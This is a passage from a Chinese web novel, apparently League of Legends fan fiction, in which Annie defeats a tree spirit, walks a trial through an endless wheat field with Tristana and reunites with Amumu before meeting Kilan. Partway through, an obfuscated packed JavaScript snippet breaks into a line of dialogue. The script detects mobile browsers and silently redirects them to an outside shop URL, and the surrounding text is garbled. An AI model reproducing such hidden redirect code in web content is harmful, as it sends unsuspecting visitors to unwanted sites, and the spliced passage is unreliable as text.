“我和你同归于尽!” 巨坦熊还在捶打树干,安妮在重重包围里都能感觉到这巨大的动静。扭曲树精铁了心要困住安妮,包裹住她开始不停收缩,安妮双手紧握长刀绕着周身挥舞,不断砍断进攻的枝条。 氧气被树叶一点点吸收,安妮这次还没法吸气,就只能开始憋气,一边憋气一边防御。 怎么出去? 所有的枝叶都覆盖而来,甚至有几条想刺进安妮的皮肤里吸取血肉。之前的小孩子就是这样死去的吗?安妮努力回忆金克丝给自己讲述各种死法的时候,她的应对策略…… 刺痛感让她清醒过来,小腿被划破,安妮长刀一转,砍下几条树枝。 有一些枝条沿着大腿往上,在寻找心脏的位置。 弱点,找弱点…… 眼睛!对了,眼睛!所有的痛楚都可以忍受,除了眼睛! 扭曲树精一定把眼睛藏了起来,应该怎么做…… 安妮灵光一闪。 她仍旧挥舞着长刀,速度却越来越慢。武器划出的风越来越小,外面的震颤越来越大……安妮疲惫地挥砍着,转身只是慢了一些,几缕枝条便从身后伸出。突然,长刀一划! “啊!——” 剧烈的抖动让安妮站立不稳,但她还是在扭曲树精疼痛的间隙找到了缺口,长刀再次向前刺去,新鲜的空气扑面而来! 扭曲树精还在疯狂扭动,巨坦熊被胡乱飞舞的枝条拍打得更兴奋了,嘶吼着扒下来更多树皮。安妮把腰间的爆裂弹扔出去,正中那块最完好的树干。 一阵更凄厉的叫声划破天空,扭曲树精在熊熊火焰中渐渐没了声息。 “吼!” 见扭曲树精倒下,巨坦熊喘着气环顾周围。刚刚死里逃生的安妮腿上还流着鲜血,身上也有不少扭曲树精划出的伤口。 见巨坦熊咧开大嘴,安妮暗道不好。 “缇啵咝!” 是提伯斯! 他怎么来了! 安妮正焦急地想赶走提伯斯,巨坦熊却被这小小的吼声喊停了。 它盯着提伯斯看了好一会儿,直看得安妮心里发憷。提伯斯瞪着纽扣眼毫不示弱。就在安妮准备冲上去捞走提伯斯的前一秒,巨坦熊慢慢回头……离开了…… 什么情况? 安妮不太明白,但现在不是讨论的好时机。见扭曲树精庞大的身躯开始消散,安妮坐在一边静静等待。有巨坦熊残留的气息在,这里短时间内不会有别的生物。 一直等到第二天太阳快出来了,扭曲树精才消失完,只有一截树枝孤零零地躺在地上。 安妮捡起那根树枝:笔直细长,带着冰凉的触感,很圆润,明明看起来很脆弱,却怎么也折不断。 这应该就是金克丝要的东西。 安妮找了找,又在扭曲树精消失的附近挖出了那袋金子。 这趟算是满载而归了。 安妮算了算时间,才花了两天时间,她居然就杀死了扭曲树精,这是从前拥有冰灵力的自己也很难做到的。 因为担心扭曲树精遗落的东西被什么动物顺走,她压根没有好好休息,于是抱着提伯斯找了个安全地方睡了一觉,她才开始赶路。又一次日夜兼程,终于在第四天中午赶到了约定的地点。 32. 32 安妮很想给金克丝分享自己的实战心得。在这两天里,她不仅熟练运用生存技巧,还复习了怎么制作沙球,怎么让憋气时间更长,怎么寻找敌人的弱点,卖弄破绽一击必中…… 她想告诉金克丝自己推测扭曲树精的眼睛在哪里是多么机缘巧合的事,还有自己在危急关头居然能想到被保护得最好的翠绿叶子和完整树干一定是眼睛,以及很多很多过去不曾想到的技巧…… 但安妮在树下等了很久,都没有等到期待的人。 金克丝约定的是第五天,说不定她小看我了…… 安妮怀着这样的信念,等到了第五天的晚上。 金克丝还是没有来。 难道是她们计数的方法不一样?是了,金克丝是能把“一二三”数成“一二双”的人。 那就再等等。 安妮就这么用着自己都不相信的计数方式,等到了第七天。 金克丝不会来了。 安妮从未有过一刻,如此清醒。她无法再欺骗自己。 怎么又被骗了。 安妮自嘲地笑了笑,或者说勉强地笑了笑。她分不清这一次的欺骗到底是为了她好还是为了什么,就像不明白莫斯卡为什么会是菲缇一样。 但总之,她又是一个人了。 或许还有一只熊。 安妮望着郁郁葱葱的树,脑子里一笔一划描摹着“木”字。 连她自己都不清楚,她是不是喜欢一个人了。 算了,避免了麻烦的告别,金克丝应该是很高兴的吧——说不定她就躲在哪里等着我离开呢,毕竟这个树枝还挺特别的,她总要回来拿。 安妮拿了一块金子,权当自己前往奇迹平原的路费,然后放下了那根奇特的树枝,以及自己之前遗忘的那本书。 离开。 抱着小熊的女孩拎着巨大的包裹一步一步走向森林外。 那棵树下终于在不久后出现了一双凉鞋。 蓝发红眸的少女抿着唇,略带嫌弃地捡起那根树枝,拍了拍灰,摆弄了一会儿,用布包了起来。见阳光正好,她跳上那棵树躺着,一只脚吊在树枝下晃荡着,手上是那本安妮留下的书。 暗处的女孩伸了伸脖子,似乎被那腿上金属片的光泽闪到了眼睛,又慢慢缩了回去,然后一步步离开。 是真的离开。 丛林里的风突然清凉起来,树叶晃晃悠悠落下,带着一丝急切。 “你来啦。” 金克丝一如既往地枕着胳膊,望着树冠。 “东西。” 是一个低沉嘶哑的女声,像丛林里潜伏的猎豹,微微发出的都是低沉的怒吼。 金克丝把怀抱着的树枝扔出去,一只黄黑色布满老茧的手迅速抓住了树枝中间。 “记得我说的报酬。” 金克丝张扬慵懒的声音和女人的低音形成鲜明的对比。 女人郑重地点了点头:“你这次,准备多久出去?” “当然是现在了,不然再留在这里面,路西瑞城都要忘了它的小老鼠了。” “注意安全。” “放心~我还死不了。” 金克丝打了个哈欠,看向背对着她的女人。 仍旧是一身豹纹皮衣,长发高高扎起,简洁明了。手腕上的豹皮手带在阳光下闪耀着光芒,腰间的皮带上别着精致的匕首。见她的皮带上多了几串野兽的牙齿,金克丝知道这一趟又是收获颇丰。 “你又黑了不少。” 女人转过身,翻了个白眼,额头上的红纹弯曲成诡异的角度。 “你还没有告诉我,她的名字。” 金克丝要的报酬是她未来对那人的帮助,可名字都没有,她怎么帮? “她有一双纯粹的眼睛。” 你不会认错的。 “那我先走了。” 要是没认出来,可就别怪她了。 “拜拜。” 金克丝挥手,目送女人跳上树枝,几个呼吸便消失不见。她离开的方向,只有几片树叶飞舞着,还没有落在地面。 离开无妄森林,天气一下热了起来。 安妮先去路西瑞城把金子换成货币,然后拎着沉甸甸的一袋铜币和银币赶路。她的想象里,那些小山村应该都是很穷的,巫阿婆那个尤甚。 但是安妮这一次经过的山村其实并没有之前那么夸张,他们不信神,穿着完好崭新的衣服,孩子手上有糖葫芦,街边的老人还在卖草编的蚱蜢。 安妮莫名觉得巫阿婆生活的地方其实也挺特别的。 那个人也很特别。 这里不会有人穿那些五颜六色的布拼成的衣服,挎着一个装满符水的棕布包,支支吾吾念些莫名其妙的神秘词汇,装得被鬼上身一样。 安妮有些想笑,但是她笑到一半,又停住了。 巫阿婆年纪一定很大了吧,这里的老人都年迈了还要喂鸡喂猪,她作为整个村子唯一的神婆,更加没法休息了。 “姐姐,这是你的玩偶吗?” 扎着两个小辫子的女孩好奇地看着提伯斯。 她的眼神渴望却隐忍,却让安妮想起了某些肆无忌惮的眼神。 “是的。” “我可以摸一摸吗?” 小女孩问完就缩了回去,隔着一个桌角,安妮看见她揪着衣裙。小女孩的眼神很清澈,也很胆怯。 “妞妞不要打扰姐姐吃饭!” 一个女人粗着嗓门在不远处大喊,小女孩回头应声,一个弹跳站了起来。 安妮感觉到提伯斯的爪子摸了自己一下,她立刻会意。 “等等,你可以摸摸他再走。” 安妮把提伯斯的手伸过去。 妞妞并着手指轻轻抚摸了一下提伯斯的手背,眼里盛满了星光。 “好软!” 她高兴地喊了一声,然后红着脸蹦蹦跳跳地跑走了。 安妮看着妞妞害羞离开的背影,抿着唇笑。 她曾经也是这样看着凯德阿姨做冬阳汤。那个时候,小孩子们都不和她玩,可是凯德阿姨愿意让她坐在旁边,一边等着香喷喷的汤出锅,一边和自己闲聊。 那个时候,她也瞪着害怕被拒绝的眼睛。 “提伯斯,吃完这顿饭,我们就快点赶路吧。” 安妮不想再遇到那么多人了。 奇迹平原的入口并不明显,但随着人家越来越少,草地越来越宽广,安妮知道她快到了。 又是一个孤单的夜晚,看着前方一览无余的草原,安妮知道她踏入了自己心心念念的地方。 这里的晚风都是那么清凉。 安妮失去灵力之后,身体素质趋于常人,甚至更加弱小,那些饭食和休息就显得必不可少。但自从跟着金克丝学习之后,她就开始不那么依赖物质了。自创身法之后,消耗的能量就更少了。 所以安妮做了一个大胆的决定:踏着月光赶路。 反正传说不是强调那些成功的人大多都是在晨曦时找到基兰的么?说不定走到天亮就到了呢。 安妮给自己找借口,抱着提伯斯走着。她感觉手上的东西有些碍事,略微思考了一会儿,觉得也没必要把铜臭味带去守望麦田。 于是她潇洒一挥,把一袋子钱全扔了。 说不定会有谁找到这里来,发现这一大袋资产,从此走向人生巅峰也不一定。这么说,她还创造了一个奇迹呢。 安妮“扑哧”一笑。 奇迹平原的夜空很美,星星是一颗颗小小的光点。月亮不圆,但是弯弯的和阿狸姐姐的眉眼一样温柔。 安妮想起自己曾经也这样走着,只是天空越走越亮,路越走越短。那个时候她在想什么?可能脑子里一片空白,但复仇的念头却生长着,扎根了。 安妮想起其实这么晚的天,她也赶路过。在森林玩耍总是会忘记时间,她坐在横倒的树木上,看无妄森林树叶外面挂着的星星。 这个时候凯德阿姨就会在遥远的边缘喊着她的名字,让她赶紧回家。 还有那天,丢下木木去找提伯斯…… 有一天,我会丢下提伯斯去找木木吗? 安妮抬头,天上的星星好像在无声地摇头。 天已经完全黑下来,但是月光和星光洒在草地上,把前进的方向照出一条条银河。 安妮淌着冰河,夜晚的露水沾在裤脚上,和当初坐在湖边的时候一样凉。 安妮还沉浸在回忆里,突然,草叶晃动,不远处有个人影闪现! “谁!” 这么近的距离,她不可能没注意到,除非……他用了别的方法——隐藏或瞬移。 “别紧张别紧张!” 一个活泼的女声传来。 草叶摇动,一个和安妮差不多高的女孩慢慢靠近。 她全身都是淡蓝色的,耳朵细长,像极了精灵。但是她穿着短衣短裤,干脆利落的白色短发,脸上还有彩色涂料,和精灵注重外表的天性完全不符。 尤其是,她走过来的动作很跳脱,背后背的大炮安妮看得一清二楚。 这个大炮也是圆柱形,篮球大小的口,只是短了点。安妮心中一个猜测不断浮现,亟待确定。 “你叫什么名字?” “麦林炮手——崔丝塔娜!” “你累不累啊?但是累也要继续走的。” “我就是太无聊了,所以想跟你一起走走。” “你没有要问我的问题吗?我还以为你会很好奇呢!” 崔丝塔娜不仅打扮得很有特色,走路的样子也很有特色。她把两只手交叠着放在脑后,大踏步往前,背上的大炮一晃一晃的。 安妮这辈子没见过这么能说的人。 一开始,她还问崔丝塔娜她的大炮哪里来的,她和守望麦田什么关系,谁知崔丝塔娜回答一句“朋友送的”,就开始热情地提问。 到目前为止安妮把自己的名字、名字含义,家庭住址,朋友亲人说了个遍,可她就知道崔丝塔娜叫崔丝塔娜,大炮是朋友送的。 她干脆闭嘴,终止了这不平等的问答。 “哎呀,你别生气嘛,等你走完了我会给你解答的。” “走完了?” “你不是要去找基兰爷爷吗?不走完这条路你哪找得到啊!” 崔丝塔娜狡黠地眨了眨眼睛,安妮顿时明白,她肯定知道守望麦田。 不然叫什么麦林炮手。 “那我还是赶紧走吧。” 节省点力气,免得走到半路走不动了。 “你走路嘴又不忙,和我说会儿话呗~” 崔丝塔娜自来熟地撒娇,让安妮都以为她们已经是非常要好的朋友了。 可惜她才不会被骗:“不说,说话会累。” 万一她其实和金克丝一样焉儿坏,说话逗她笑,让她没办法继续走怎么办。 “唉,真拿你没办法。那我还是陪你走吧。” 崔丝塔娜叉腰,觉得不舒服,又抱臂,还是觉得不行,于是开始甩手。 看着连走路都这么花样百出富有活力的人,安妮直觉自己这段路不会太轻松。 崔丝塔娜没有说话,只是在前面带路。她的速度不快,但安妮要跟上还是需要一些力气。 “你能不能慢一点走?” 她已经试验出了自己的最佳耐受速度,保持自己的节奏是最好的。 “哎呀,快点走才能赶上啊,前面的路还很远呢!” 还很远? 担心守望麦田的入口只在晨曦和黄昏时候开放,安妮赶紧接着走。 崔丝塔娜见安妮不再要求什么,继续原来的速度。 安妮也不知道走了多久,她的身体素质不错,但这样漫无目的地走着也实在难熬。她又想起自己那枯燥无味的隐藏训练,不是重复动作,但是比重复动作还累。 有点热,腿也有点乏力,但是这只是开始。 突然,视线里两边的金黄多了起来。安妮有些惊喜。现在只是夏天的尾声,麦子还没有成熟,这样灿烂的黄色在一片翠绿中很特殊,也很惹眼。 守望麦田的麦子是不分季节地灿烂。 “我们是不是到入口了?” “嗯,对,不过是刚刚到入口。前面的路还很远呢~” 崔丝塔娜没有打击的意思,但是她带着叹息的语气还是让安妮精神一震。 安妮仍旧保持着速度,尽力无视腿上的疲乏。 曾经,手也这么累过,那是练习雕刻的时候。 抬起来仔细打磨边角,稍有不慎就需要从头来过,抬起的手也是无力的,放下的一瞬间又恢复得七七八八。 艰苦训练的时光总是那么多,各式各样的疲劳折磨着她。 有身体上的,也有精神上的。 两边的麦子多了起来,从零散的遮不住任何东西,到密密麻麻缠在一起,只能从缝隙里看到外界。安妮才发现自己变矮了,或者说麦子变高了。 “这些麦子怎么这么高?” 巫阿婆曾经给自己描述过农作物,但除了玉米,她还没见过比人高的作物。 “是你太矮了。” 崔丝塔娜似乎丝毫没意识到自己和安妮差不了多少。 安妮害怕怼回去得罪人,硬生生憋住了自己的毒舌。 都怪金克丝,她现在嘲讽技能拉满。 金克丝嘲讽人很有一套,什么借力打力,因地制宜,甚至量身定做。你不仅找不到反驳的话语,还会在仔细思考之后同意她的说辞。 我曾经好像还因为这个难受过一阵子。 安妮在心里默默点头。不得不承认,金克丝说的话虽然刺人,但锻炼心理承受力的效果一流。 安妮的脑子有些乱。她知道回忆也会消耗能量,虽然不多,但走神总归不好。安妮试图集中注意力,然后她就发现自己被麦子淹没了。 是真的淹没,高大的麦子阻隔了两边的视线,前方也是金灿灿的一片,一望无际。 安妮第一时间想到了幻境。这么大片麦田,要是真实存在,早被艾德文特探索光了。 她是在不经意间进入幻境了吗?那她的身体怎么样了? “这里不是幻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119500|195949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 境,瓜兮兮的。” 崔丝塔娜似乎说了一句俚语,安妮听不太懂,但总感觉是在骂自己。 不过她怎么知道我的想法? 安妮还没思考出了一二,崔丝塔娜又开始借机话痨了,因为她知道安妮这次会听。 “我又不是只接待了你一个,好多人之前和你一样的表情,我还不知道他们在想什么。后来爷爷告诉我你们都以为自己进了幻境,我就猜到了。说白了,还是业务要熟练。”崔丝塔娜见安妮听完解释又要无视自己,赶紧把话头一转,“你别怀疑自己了,真实和虚幻其实很好分清的,我可以教你。” “谢谢,不需要。” 找到基兰什么不能学。 “哼——” 崔丝塔娜噘了噘嘴,只能继续带路。 安妮叹了口气,脚掌已经开始酸胀,但她没有停顿分毫。 天空已经完全黑沉下去,安妮看了看手表:凌晨两点整。 原来已经走了四个小时了吗? 安妮额头上的汗浸湿了头发,和后背的衣服一起紧紧粘住皮肤。 “你有头绳吗?” “你看我这个发型需要头绳吗?” “……” 安妮自觉问了个很弱智的问题,抿了抿唇继续想办法。她拢了拢头发,但被汗粘在一起的头发很快就分开了。 刘海上的汗水顺着眼睫毛掉下来,安妮眨了眨眼睛。 她记得自己还有过比这狼狈的时候,意识都不清醒了,好像被关进了蒸笼里,嘴和鼻腔充满血腥味,汗水混着泪水一颗一颗往下掉。 “我们可以休息一下吗?” 腿真的很痛。 “休息?可以呀,休息休息从头来过。” 崔丝塔娜的话很轻松,带路了这么久,她表现得也很轻松。一根头发都没湿。 “从头来过?” 安妮揉着小腿的动作一顿。 “休息一分钟,就要重走咯。不过你可以坐个五十九秒,然后再走一个小时,再继续休息。” 崔丝塔娜详细描述着作弊方法,只有安妮知道她的不怀好意。 曾经金克丝和她做过实验,完成目标前的休息是会遗忘时间的,爬上终点前的停顿只会让人止步。 “继续。” 她抬头,肌肉的收缩感传来,带着酸痛。 但是安妮还是迈开了脚步。 从头开始,呵,她讨厌从头开始。 曾经的自己,在天道的毁灭下失去冰灵力,遭遇欺骗,那是从头开始; 曾经的自己,在加丁的欺骗下失去生命,被困在山村,那也是从头开始; 现在的自己,距离希望那么近,只有一条路的长度,为什么还要从头开始? 她就不。 崔丝塔娜看着皱紧眉头再次抬脚的安妮,嘴角高高扬起。 “前面的路还很远呢。” “继续。” 安妮很累,是走路也喘着粗气的累。 这不是死亡时灵力在一瞬间撕裂身体的疼痛,也不是面对毁灭时毫无反抗之力地消解的痛苦,而是长久的折磨。 折磨得只剩两个字。 前进。 机械的步伐。 “真不明白,你为什么累成这样还要坚持。” “你是有什么使命必须完成吗?拯救世界什么的?” 崔丝塔娜轻松又疑惑的疑问安妮已经无力回答,她抬头看一眼面前的人都费劲,因为脖子也开始痛了。 但是她还能思考崔丝塔娜的问题,也许是为了转移注意力,也许是已经累得只剩下本能。 视线很模糊,全身都很疲惫,但是这样明亮的世界还是让安妮无法适应。她想起那个金碧辉煌的殿堂,她也是这样满怀期望地、奋不顾身地冲进去。 遍体鳞伤地出来。 使命?拯救世界?那从来不是她要的东西。有时候,她自己都在想,为了什么而活着。仅仅是复仇吗?可是复仇之后呢? 也不对,怎么可能会有复仇之后,这已经足够成为她奋斗一生的目标了。 安妮自嘲地笑了笑。 坚持,真的是她自愿的坚持吗? 都是被逼的。 死亡是被逼的,活着也是被逼的,跟着习武是被逼的,如今必须坚持走着……也是被逼的。 人不被逼到极限,都不知道自己的潜力所在。 当你已经知道自己毫无退路的时候,你只能咬紧牙关走下去。 从头开始? 那是逼你到绝望的东西,不是你自己选择的东西。 安妮脑海里,那个风雨交加的夜晚,和阳光明媚的审判台交叠着。 汇成一个总是出现又消失的身影。 “这就是你给我说的那个人。” 年迈沉稳的声音在水晶球上方回荡,那是沉淀了时间的深远。 “是。” 阿木木看着水晶球里安妮专心编稻草人的模样,眼中的悲伤依然化不开。 “她就快到入口了。” “嗯。” 阿木木笑着,眼中仍旧是悲伤的墨绿色。这样的表情很勉强,可是全是真心。 “唉……” 基兰挥挥手,水晶球熄灭。 他慢慢站起身,看了眼外面大亮的天空。 “守望麦田今后,恐怕要闭门谢客了……” 就是不知道能平静多久。 基兰走进背后的房间,洁白的长袍拖过一尘不染的地板。 “去接接她吧。” 他闭目,感受着尽量轻悄离开的人身上无声的欢喜,再次叹了口气。 “毕竟以后……就没机会了。” 安妮再一次察觉到环境的变化,是天已经散发亮光的时候。 原来不知不觉,已经快到晨曦了。 所以她到了吗? 安妮艰难抬头,看向崔丝塔娜。 她希冀的眼神并没有得到回应。面前蹦蹦跳跳的女孩仍旧背对着她,晨曦的光芒洒落在麦田上,把她的头顶也镀上金光。活泼的女孩站着,踮起脚尖,身上的金黄又扩大一圈。她抬手,遮住阳光瞭望。 “天亮了……前面的路还很远呢~” 她虽然这么说着,但劳累的安妮却听出其中的轻松和欢快。 “继续?” 崔丝塔娜转过身,笑眯眯的,依然没有任何汗水。 “继续。” “加油!” “嗯,加油。” 安妮微笑,面前的人转过身。 无尽的道路不知在何时变得开阔,崔丝塔娜再也挡不住前方的风景。安妮憋着气,眼眶中的泪水却怎么也憋不住。 头顶的太阳盘旋着,刺目的光却在慢慢消散。 心脏急速跳动,呼吸越发加快。 突然,崔丝塔娜停下来,侧开了身。 “看来我们新设置了一个欢迎仪式啊!” 安妮有些不解,她抬头,面前一抹墨绿挺拔地站着。 世界一瞬间寂静无声。 33. 33 “木木……” 面前的人,黑色碎发,墨绿色风衣,仍旧是深邃的绿瞳,盛满悲伤,可是就那么微微笑着,好像穿过了时间的洪流和荆棘,就为了站在终点…… 拥抱。 就像那个沉寂的夜晚。 安妮在心跳声中聆听着另一个人的心跳。 我希望有一天, 你逆光走来, 不需要踏着祥云, 你身上的光晕, 就是最美的色彩。 安妮闻着,那是桔梗的味道。 等待、期望,在无尽的平静中沉淀成无味的花香。 “木木……” 她想起了那个狂风暴雨的夜晚,她抱着纤瘦的他,将所有悲愤、委屈、不甘,化成嘶吼,化成混着雨的泪水…… 她想起相拥,想起对视,想起共同谈论的梦想…… 头顶传来温暖的、轻柔的触感。 “我一直在……我走不掉的。” 那是世界上最温柔、最轻盈的声音。 “喂,抱够了没有,哎呀呀,阳光真刺眼啊……” 崔丝塔娜的声音响起,混杂着她来回跳动的脚步。 安妮有些尴尬。她退开半步,仔细看着这个隐藏在内心深处的人。 他现在就站在她身前,如此真实……如此真实。 “要看以后有的是时间看,别有了帅哥忘了老头!” 崔丝塔娜提醒着,安妮才想起来自己已经通过了考验。 和自己心心念念的人重逢,通过最关键的考验,即将得到创造奇迹的人的帮助……安妮从来没觉得有哪一刻像现在这样幸福,好像希望触手可及。 她拉起木木的手,跟上崔丝塔娜。视线里的衣角随着跑动翻飞,和安妮的心一样荡漾。 基兰的房间很朴素,一个简简单单的木屋,从外面看上去甚至显得狭小。 安妮有些不知所措,她偏头,阳光下,少年的笑容仍旧那么虚幻又真实。 “进去进去……”崔丝塔娜从后面推着安妮,“我帮你看着他,放心,不会放跑的!” 见她手里还有个几乎被遗忘的熊,崔丝塔娜也一把夺过,暂时保存。 “咳咳……” 阿木木脸上的笑意无法掩饰,安妮也禁不住别开脸,嘴角控制不住地上扬。她一步三回头地看过去,崔丝塔娜已经把提伯斯塞给了阿木木。 她上前敲了敲门,颤抖的指尖暴露了情绪。 “请进。” 是一个缓慢和蔼的声音。 门自动打开,带着陈旧的“嘎吱”声。安妮看不清里面的情形,就好像被雾气蒙住了眼睛。 她犹豫着踏进去,顺手把门关上。在木门合上的一瞬间,白蒙蒙的雾气竟然自动往两边散开,就好像打开了一扇无形的大门。 安妮站在原地,瞪大了眼睛。 面前是她和金克丝常坐在一起的那个湖。 怎么会在这里?还是说,这是幻境? 安妮往四周看了看,悄悄握了握手,确定自己没有灵魂出窍。 湖边坐着一个人,纯白的长袍,手边躺着一个法杖。安妮一瞬间差点以为看到了加丁,但加丁从来不会把自己的法杖放倒,也不会松开握着法杖的手。 这是基兰。 “别愣着,坐吧。” 他的声音同样很沉稳,带着时间的悠远。但是这份沉淀更加厚重,没有锐利和贪婪,就像……仙人。 安妮局促地走近,明明站着的自己更高,却好像仰望着一座大山。 “老头子没那么可怕,坐在我旁边就好了。” 是带笑的语气。 安妮坐下,不知道手脚该怎么放。 “我以为这个场景会让你轻松一些的。” “啊?是的……也许吧。” 虽然不知道为什么这里和那个湖一模一样,但是安妮确实在一瞬间感觉到了安心。 只是她自己太紧张了。 “别紧张,我知道你想要什么——我都看到了。” 安妮低着头,看见了水里自己陡然放大的瞳孔。 “你不好奇,那段路吗?” 安妮不敢看基兰,但是点了点头。 “那段路,叫‘人生’。”基兰顿了顿,见安妮没说话,补充道,“你的人生。” 我的人生?所以那条路那么坎坷,走起来那么累吗? “人生是没有尽头的。” 怎么会? “你很想反驳,对吧?” 安妮再次默默点头。 不得不承认基兰说话也很有一套,她现在不太紧张了。 “人生的路只有终点,没有尽头。” 基兰说了这么一句高深莫测的话之后就安静了下来。 安妮慢慢咀嚼着,只知道这好像和死亡有点关系。 也不知道过了多久,头顶再次传来基兰的声音。 “你是金克丝的徒弟。” 安妮的眼睛亮了亮。 她差点忘了,金克丝和基兰很熟。 “她是个有趣的孩子。” 安妮怀疑基兰有借着金克丝套近乎的嫌疑,但是她无法拒绝。 “当初的金克丝和你一样,又很不一样。” “她来我这里,不学值钱的机械,不学高深的阵法,只学武功。身法、暗器、枪械……什么都学,就是不碰有关灵力的东西。” “她告诉我,她要复仇,灵力需要天赋,需要机遇,需要时间,她等不起。要不是我告诉她卡伊特的警署也有阵法师,她阵法都不想学。” 基兰说得很轻松,但是安妮知道金克丝焦急的心情。 曾经的她不也是这样吗?拼命学习灵力,就为了报仇,若不是为了活下去,她这辈子也不可能接触身法。 “但是你们又不一样,因为……” 基兰停了下来,似乎要喝点水休息休息。安妮很好奇,但是她又不敢直接问。 “看吧,你就和她不一样。” 为什么? 安妮好像突然明白了一点。 “金克丝可没你这么会隐忍,我刚刚停下来的空档,她就该直接发问了。” 这是她的不一样,也是她一直知道的缺点。怯懦、退让、颓废,成为她当初在金克丝的毒舌下一次次溃败的理由。 即使面对金克丝已经能够回怼,碰到其他人还是立刻打回原形。 “孩子,不要认为这是一件不好的事。” 难道这也有好处吗? “人不是生来谨慎,只有在步履维艰的时候,才会害怕一步错步步错。” “你死过两次,你害怕被赶出光明学院,你害怕金克丝抛弃你,你害怕我不帮助你……这就是你示弱的理由。” 他全都知道…… “我说过,我看到了。”基兰笑眯眯的,好像看完一个人的人生并不是什么了不起的大事,“你的经历很传奇。” 传奇吗?可能是吧。 但这样传奇的经历并没有造就出一个传奇的人。 “进入正题吧,你想要什么?” “我想要复仇。” “很好,这一次你没有犹豫。” 安妮紧握的拳松开,但揪起的心并没有放下。 “你觉得,你有几成胜算?” “你帮我,十成;不帮我,没有。” 也许不是这样的,但如今就是这样。 “哈哈哈哈,能进入守望麦田的果然都非等闲之辈。” 基兰笑了笑,安妮听不懂“等闲之辈”什么意思,但神秘的基兰知道些特殊的语言也很正常。 她只想知道基兰的态度。 “天道给你的并不是你的本源。” “本源?” “灵力的确是天生的,但灵力也并非全都是适合自己的。冰灵力的适应性最强,放在谁身上都能修炼,但是达到的极限并不高。” 这就是她出生时携带冰灵力的原因吗?连这都是天道的阴谋? “黑暗之力帮你淬炼了它,才让它显现出超越平常的力量。” “可是我小时候……” “是的,你小时候。” 我小时候冰灵力就这么强,可是我没有堕入黑暗啊…… 安妮不理解。 “你以后会知道的。现在你只要知道,寻找到本源灵力就有五成的把握就行了。”五成! “我会帮你开启寻源之路,但在此之前,你还需要闯过我的所有麦田。” “闯过所有麦田?” 难道全是阵法? 基兰点点头,没说那些麦田里有什么。 “明天就可以开始了。” “明天?”安妮握了握拳,“那提伯斯……” 她相信基兰一定是看见了提伯斯的,尽管她之后的人生里提伯斯参与得似乎不多。那是一只忠诚、单纯的小熊,是她连累了他。 “把你的熊给阿木木,我会帮忙照顾好他的。天色尚早,你可以出去熟悉熟悉环境。崔丝塔娜会帮你安排一切。” “也许闯过麦田之后,我还可以给你个惊喜。” “惊喜?” 安妮不知道还有什么能让现在的她惊喜,但基兰的话让她放下了心。 “谢谢。” “说‘谢谢’为时尚早,”基兰摆摆手,“一切都还是看你自己。” 他说完,拿起法杖起身。 安妮才发现他也有一大把白胡子,眉眼深邃,但皱纹也很多。他的法杖并不华丽,没有纹路,没有镶金,要不是上面吊着一颗不太一样的果子,她都以为这是一根长得比较直的树枝。 安妮目送基兰离去,才慢慢起身。 她带着探究地环顾四周,真的是一样的树木,一样的野草,连风吹动的频率都那么真实…… “没什么好看的,一个障眼法罢了。” 基兰的声音从门边出来,安妮回望时只有一片洁白的衣角。 她起身,跟着走出门,基兰已经不见了。不远处,崔丝塔娜朝她挥了挥手,身边是笑着的阿木木。 安妮走过去。 “知道你们小两口有话说,我把注意事项都告诉他了,你们慢慢聊,回见~” 崔丝塔娜一口气说完,背着大炮蹦蹦跳跳地离开了,安妮连回答的机会都没有。 她无奈地笑出声,旁边的阿木木也似笑非笑地看着她。 “人家都那么配合了,我们走吧?” 安妮眨眨眼,接过提伯斯,顺势牵起阿木木的手。 冰冰凉凉的,却温暖到心底。 守望麦田很美。一条条小径,像一条条乡间的小路,周围都是花花草草,不远处金灿灿的一片。 每一粒麦穗都笑着,灿烂的阳光铺在地上,暖和的风轻抚面颊,没有一丝红色的味道。 稻香被风吹散,金黄色的麦子香气钻出泥土,在空中弥漫。 安妮好像变小了,变成了很小很小的时候。那个时候她也牵着阿木木,他们一起走在无妄边境的草原上,寻找飘散的白色蒲公英。 “你多久来到这里的?” “大概……五年前吧。” 阿木木充满回忆的声音把安妮带到了那个金碧辉煌的学院,她记得五年前,好像正是她死亡的时候…… 所以,他在得知自己死讯的那一刻,就开始寻找了吗? “我来到这里找你,基兰爷爷说不需要再离开,你会来的。所以我就等……一直等……” “一直等到现在。” 安妮吸吸鼻子,接过。 阿木木没有回答。 安妮知道,他不会撒谎。 他好像什么都懂,又好像什么都不懂。 曾经的她一 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他们也不知道走了多久,走过了多少地方。只是麦田变成了小径,小径变成了草原,草原变成了……断崖。 是断崖。 是没有狂风的断崖。 “这里的星星是彩色的。” 彩色的?安妮很惊讶。但是现在看不到,因为太阳还挂着。 没关系,她可以等的。 安妮也想尝尝等待的滋味。 云朵在天边变换着形状,时而分开,变得透明;时而重叠,变得厚重。晚风每一次吹过,都会捏住它们的一角。 天空没有飞鸟,也没有凶恶的秃鹫,没有大雁成群,没有孤鸦回巢…… 安妮看着太阳一点点降落,光一点点变换。时间一秒一秒地流逝,不是一天一天,不是一月一月,也不是一年一年…… 原来,等,是那么的漫长吗? 安妮没有变换姿势。 隐藏训练和等待是一样的,又是完全不一样的。明明可以动,安妮却像在惩罚自己一样,任由血液逐渐凝固。 等待真累啊…… “木木。” “嗯?” 身边的少年好像在看着她。 “没什么。” 安妮偏过头,靠在少年单薄的肩膀上。 就是突然好想说一声…… 我想你。 彩霞渐渐铺满天空,流云披上轻柔的纱。黑暗不知从何处渲染开,把这纱衣染成暗夜的颜色。太阳带着时间藏进山里,把空间让给了凿开黑暗的星星。 安妮看见一颗、两颗。 红色、黄色、绿色…… 像一片盛开的花海。 真的是彩色的。 不再像眼睛,而是单纯的星星。 安妮耳边,一个苍老的声音响起又消失,那些谎言好像在逐渐变淡,随着晚风消逝…… 月亮出来,圆圆的,银白色。 